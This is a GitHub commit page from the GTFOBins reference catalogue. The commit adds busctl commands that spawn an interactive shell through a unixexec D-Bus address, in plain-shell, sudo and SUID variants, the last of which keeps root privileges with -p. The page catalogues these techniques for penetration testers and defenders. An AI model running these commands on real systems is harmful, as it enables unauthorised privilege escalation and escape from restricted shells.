Skip to content

Commit

Permalink
Add another busctl shell
Browse files Browse the repository at this point in the history
  • Loading branch information
cyrus-and committed Dec 23, 2023
2 parents a0be237 + 0a28b73 commit 4eca50e
Showing 1 changed file with 8 additions and 4 deletions.
12 changes: 8 additions & 4 deletions _gtfobins/busctl.md
Original file line number Diff line number Diff line change
@@ -1,12 +1,16 @@
---
description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
functions:
shell:
- code: |
- description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
code: |
busctl --show-machine
!/bin/sh
- code: |
busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-c,argv2='/bin/sh -i 0<&2 1>&2'
sudo:
- code: |
sudo busctl --show-machine
!/bin/sh
sudo busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-c,argv2='/bin/sh -i 0<&2 1>&2'
suid:
- code: |
./busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-pc,argv2='/bin/sh -p -i 0<&2 1>&2'
---

0 comments on commit 4eca50e

Please sign in to comment.